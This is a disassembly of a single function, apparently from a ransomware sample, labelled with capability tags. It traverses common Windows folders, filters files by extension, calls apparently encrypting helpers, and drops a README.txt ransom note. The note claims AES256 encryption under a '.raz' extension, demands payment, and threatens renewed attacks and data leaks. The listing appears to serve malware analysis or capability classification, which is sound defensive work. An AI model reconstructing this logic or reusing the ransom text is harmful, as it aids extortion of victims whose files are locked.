Function at 0x401810
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x488], eax
mov eax, dword [ebp + 8]
vmovdqa xmm0, xmmword [0x403300]
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
push esi
push edi
mov dword [esp + 0x14], eax
mov edi, edx
mov esi, ecx
mov dword [esp + 0xc], edi
xor eax, eax
mov dword [esp + 0x10], esi
vmovdqu xmmword [esp + 0x20], xmm0
mov dword [esp + 0x30], 0xe
mov dword [esp + 0x34], 0x28
mov dword [esp + 0x1c], eax
nop word [eax + eax]
lea ecx, [esp + 0x178]
push ecx
push 0
push 0
push dword [esp + eax*4 + 0x2c]
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x401a80
lea eax, [esp + 0x178]
push eax
push str._s
lea eax, [esp + 0x390]
push 0x104
push eax
call fcn.00401040
add esp, 0x10
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x38c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x401a80
nop dword [eax]
nop word [eax + eax]
test byte [esp + 0x38], 0x10
lea eax, [esp + 0x64]
je 0x4019ac
mov ecx, 0x405314
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401914
test dl, dl
je 0x401910
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401914
add eax, 2
add ecx, 2
test dl, dl
jne 0x4018f4
xor eax, eax
jmp 0x401919
sbb eax, eax
or eax, 1
test eax, eax
je 0x4019e7
mov ecx, 0x405310
lea eax, [esp + 0x64]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401950
test dl, dl
je 0x40194c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401950
add eax, 2
add ecx, 2
test dl, dl
jne 0x401930
xor eax, eax
jmp 0x401955
sbb eax, eax
or eax, 1
test eax, eax
je 0x4019e7
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x17c]
push eax
push str._s_s
lea eax, [esp + 0x28c]
push 0x104
push eax
call fcn.00401040
add esp, 0x14
lea ecx, [esp + 0x280]
call fcn.00401500
test eax, eax
jne 0x4019e7
push dword [esp + 0x14]
mov edx, esi
lea ecx, [esp + 0x284]
push edi
call fcn.004015a0
add esp, 8
jmp 0x4019e7
push 0x2e
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
mov edi, eax
add esp, 8
test edi, edi
je 0x4019e3
xor esi, esi
push dword [esi + 0x4031e0]
push edi
call ebx
add esp, 8
test eax, eax
je 0x401aa7
add esi, 4
cmp esi, 0x114
jb 0x4019c0
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0xc]
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4018e0
lea ecx, [esp + 0x178]
call fcn.00401500
test eax, eax
jne 0x401a72
lea ecx, [esp + 0x178]
call fcn.00401500
test eax, eax
jne 0x401a72
lea eax, [esp + 0x178]
push eax
push str._sREADME.txt
lea eax, [esp + 0x288]
push 0x104
push eax
call fcn.00401040
lea eax, [esp + 0x290]
push 0x4056fc
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 0x18
test esi, esi
je 0x401a72
push dword [esp + 0x14]
push str._Your_files_have_been_encrypted__._nUsing_advanced_AES256_encryption_technique_your_databases__documents__photos_and_other_important_files_have_been_encrypted._nSee_for_yourself__look_at_any_file_with_.raz_extension._nYou_cannot_recover_these_files_yourself._nDo_not_waste_your_time._Nobody_can_recover_your_files._Only_we_can_._nWe_can_decrypt_these_files__we_can_guarantee_that_your_files_can_be_decrypted__but_you_have_little_time._nPayment_for_the_decryption_is__70_nWe_can_restore_your_systems_in_less_than_6_hours_if_you_pay_now._nHowever__we_will_not_decrypt_your_system_if__n_____You_go_to_police_and_report_us._n____If_you_report_us_AFTER_decryption__we_WILL_attack_you_again_______nDo_not_delete_or_modify_encrypted_files__it_will_cause_problems_when_recovery__nSent_the_personal_ID_to_d3cryptme_firemail.cc_nWe_will_provide_payment_information__once_payment_is_done__we_will_sent_you_a_decryptor__nIf_you_do_not_pay__we_will_publish_your_data_online__n____Your_personal_ID:__s_____n
push esi
call fcn.00401010
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x10
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
cmp eax, 6
jb 0x401870
mov ecx, dword [esp + 0x494]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401da6
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x17c]
push eax
push 0x405300
lea eax, [esp + 0x28c]
push 0x104
push eax
call fcn.00401040
mov edi, dword [esp + 0x20]
lea ecx, [esp + 0x294]
mov esi, dword [esp + 0x24]
mov edx, esi
push edi
call fcn.00401260
add esp, 0x18
jmp 0x4019e7